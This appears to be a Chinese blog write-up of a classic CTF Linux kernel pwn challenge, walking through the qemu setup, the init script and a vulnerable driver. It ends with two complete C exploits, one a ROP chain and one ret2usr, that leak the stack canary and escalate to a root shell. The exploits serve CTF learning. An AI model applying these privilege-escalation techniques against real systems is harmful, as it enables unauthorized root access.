更新于 2022-10-11
PS:请在看完了linux内核基础 一的情况下练习该题
这是我入门kernel pwn的第一道题目 哈哈
可以说是经典中的经典了。
题目分析
首先我们可以先解压题目压缩包
可以得到以下4个文件
bzImage,vmlinux,start.sh,core.cpio共4个文件
vmlinux 是静态编译,未经过压缩的 kernel 文件,相对应的 bzImage 可以理解为压缩后的文件
start.sh 文件是一个qemu的运行脚本,core.cpio其实就是一个文件系统。
start.sh文件分析
咱们先来看看 start.sh启动脚本的内容是什么
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic
panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
整个就是一个qemu的启动命令,接下来一一做解释
-m memory大小,原先自带的64M太小了,会启动不了,换个大点的128M
-kernel 其实是kernel的路径
-initrd 是文件系统的路径
-append选项后的字符串,其实相当于grub引导内核时附加的命令行参数。 GRUB是GRand Unified Bootloader的缩写,多重启动管理器,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统
kaslr表明开启了内核的aslr
-s 其实是开启了本地1234的调试端口的意思。shorthand for -gdb tcp::1234
首先第一步,我们应该解压core.cpio 看看里面有什么
先查看以下core.cpio的文件类型
file core.cpio
可以看到这是一个gzip文件
我们可以使用linux带的gunzip解压,但是这里要注意的是,gunzip解压的文件,后缀名必须是.gz
所以我们可以使用如下命令
mkdir core
mv core.cpio core/core.cpio.gz
cd core
gunzip core.cpio.gz
init 文件分析
一般情况下 etc/rcS 或者 init文件是系统的初始化脚本,这里只有init 我们看一下内容
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
现在对每条命令进行分析。
mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。
/sbin/mdev -s 会自动创建设备节点
mkdir 用于创建目录
chmod 用于授予权限
cat /proc/kallsyms > /tmp/kallsyms 把内核符号转移到了tmp目录下,意味着我们可以直接查看内核函数的地址。
echo 1 > /proc/sys/kernel/kptr_restrict 开启了普通用户不可见的保护措施
echo 1 > /proc/sys/kernel/dmesg_restrict 开启了普通用户不可见的保护措施
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
这些命令都是用于启动网卡,开启网关和路由的。
insmod /core.ko 是重点,这意味着core.ko是我们要分析的内核模块。
poweroff -d 120 -f & 意味着120s后系统会自动关机,我们需要把他去掉,方便我们调试。
setsid /bin/cttyhack setuidgid 1000 /bin/sh 设置用户权限未普通用户,这里我们需要 改为setsid /bin/cttyhack setuidgid 0 /bin/sh 设置root权限。同样是为了方便调试。
core.ko分析
这个驱动的函数是比较少的
先看看 init_module函数,这是insmod core.ko时第一个运行的。
这个就是简单地注册了一下文件的操作,core_fops放的就是我们注册的驱动的操作。
根据core_fops放的函数地址,我们一个个看过去。
看到这里其实思路已经有了
利用思路
1.泄露kalsr
这个内核是开启了kalsr的,因此我们需要泄露canary置才能实现rop
重点在于 core_ioctl 0x6677889C选项,它会修改off的值,然后我们通过
core_ioctl 0x6677889B(core_read)那里读出canary
2.编写payload
要编写payload,首先需要gadget
ROPgadget --binary vmlinux > 1.txt
从带符号的内核文件vmlinux里提取。
虽然他们说很慢,但是其实我很快就提取完了。
如果没有vmlinux怎么办
可以用extract-vmlinux进行提取
./extract-vmlinux bzImage > vmlinux
执行payload首先我们要执行
commit_cred(prepare_kernel_cred(0))
这个地址函数地址在/tmp/kallsyms里面,我们需要自己编写函数动态地获取(因为每次重新启动内核 地址就不一样)
然后 执行 swagfs 和 iretq
3.利用core_write写入payload
这个就很简单了,利用整数溢出写一个负数进去,因为最终写的时候是16位的,很容易就写进去了。
4.返回用户态执行getshell
swagfs + iretq指令就是用来返回用户态的。
这个是有常规操作的。等下可以看我的exp
为什么要返回用户态执行getshell?
因为getshell在用户态做更容易。
exp
ROP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
unsigned long long commit_cred=0;
unsigned long long prepare_kernel_cred=0;
void get_shell(){
if(!getuid()){
printf("get root!\n");
system("/bin/sh");
}else{
printf("get shell error!\n");
}
exit(0);
}
void get_address(){
FILE * fd = fopen("/tmp/kallsyms","r");
if(fd==NULL){
printf("error in open file kallsyms!\n");
}
unsigned long long addr;
char type[0x10];
char func_name[0x100];
while (fscanf(fd,"%llx%s%s",&addr,type,func_name)!=EOF)
{
//printf("%llx %s %s\n",addr,type,func_name);
if(commit_cred&&prepare_kernel_cred)
break;;
if(!strcmp(func_name,"prepare_kernel_cred"))
prepare_kernel_cred=addr;
if(!strcmp(func_name,"commit_creds"))
commit_cred=addr;
}
printf("commit_addr:%p\n",commit_cred);
printf("prepare_kernel_cred:%p\n",prepare_kernel_cred);
return;
}
void set_off(int fd,long long len){
printf("set off start!\n");
ioctl(fd,0x6677889C,len);
}
void core_read(int fd,char * buffer){
printf("read func start!\n");
ioctl(fd,0x6677889B,buffer);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int main(){
saveStatus();
get_address();//get commit_creds and prepare_kernel_cred addr
int fd=open("/proc/core",O_RDWR);
if(fd <0){
printf("error! open device failed!\n");
exit(0);
}
// set off = 64
set_off(fd,0x40);
// read canary
char buf[65]={0};
core_read(fd,buf);
//printf("buffer:%s\n",&buf[1]);
long long canary = ((long long *)buf)[0];// detail6
printf("get canary!%p\n",canary);
//rop
unsigned long long kernel_base = commit_cred-0x9c8e0;
unsigned long long offset = kernel_base-0xffffffff81000000;
unsigned long long rop[0x100];
int i=0;
for(i=0;i<10;i++)
rop[i]=canary;
rop[i++]=0xffffffff81000b2f+offset;//pop rdi ret
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++]=0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++]=0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++]= commit_cred;
rop[i++]=0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++]=0;
rop[i++]= 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);
return 0;
}
ret2usr
在没有开启SMAP/SMEP的情况下,可以使用ret2usr,直接在内核态访问用户态的代码并执行。
PS: 在使用ret2usr进行提取时,切记不要使用库函数(会引起系统调用导致内核panic)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
size_t commit_creds=0;
size_t prepare_kernel_cred =0;
size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void get_root_shell(void){
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
//ret2usr
void get_root_privilege(){
//printf("use ret2usr\n"); //don't use user func in kernel space!
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
//#include "kernel_module.c"
void core_read(int fd,char * buf){
ioctl(fd,0x6677889B,buf);
}
void core_set(int fd,size_t off){
ioctl(fd,0x6677889C,off);
}
void core_copy_func(int fd,size_t nbyte){
ioctl(fd,0x6677889A,nbyte);
}
int main(){
save_status();
int fd = open("/proc/core",O_RDWR);
if(fd<0){
printf("open proc failed!\n");
exit(-1);
}
FILE * sym_fd = fopen("/tmp/kallsyms","r");
if(fd<0){
printf("open symbolic_table failed!\n");
exit(-2);
}
char buf[50];
char type[10];
size_t addr;
printf("start search addr!\n");
while(fscanf(sym_fd,"%llx %s %s",&addr,type,buf)){
if(commit_creds&&prepare_kernel_cred){
break;
}
if(!commit_creds && !strcmp(buf,"commit_creds")){
commit_creds = addr;
continue;
}
if(!prepare_kernel_cred && !strcmp(buf,"prepare_kernel_cred")){
prepare_kernel_cred = addr;
continue;
}
}
printf("find!\n");
printf("commit_creds:%llx\n",commit_creds);
printf("preprae_kernel_cred:%llx\n",prepare_kernel_cred);
size_t canary;
char buffer[64];
core_set(fd,64);
core_read(fd,buffer);
canary = ((size_t *)buffer)[0];
printf("canary:%llx\n",canary);
size_t offset = prepare_kernel_cred - 0xFFFFFFFF8109CCE0;
size_t swapgs_pop_rdi_retq = offset + 0xffffffff81a012da;
size_t iretq = offset + 0xffffffff813eb448;
size_t rop_chain[0x100];
int i=0;
for(i=0;i<10;i++){
rop_chain[i]=canary;
}
rop_chain[i++] = (size_t)get_root_privilege;
rop_chain[i++] = swapgs_pop_rdi_retq;
rop_chain[i++] = 0;
rop_chain[i++] = iretq;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd,rop_chain,0x100);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
return 0;
}
待办
总之要学的事情还有很多,之后有空再来学习吧~
linux权限系统的管理
linux内核系统知识的学习。
reference
kptr_restrict 向用户空间内核中的指针(/proc/kallsyms-modules显示value全部为0)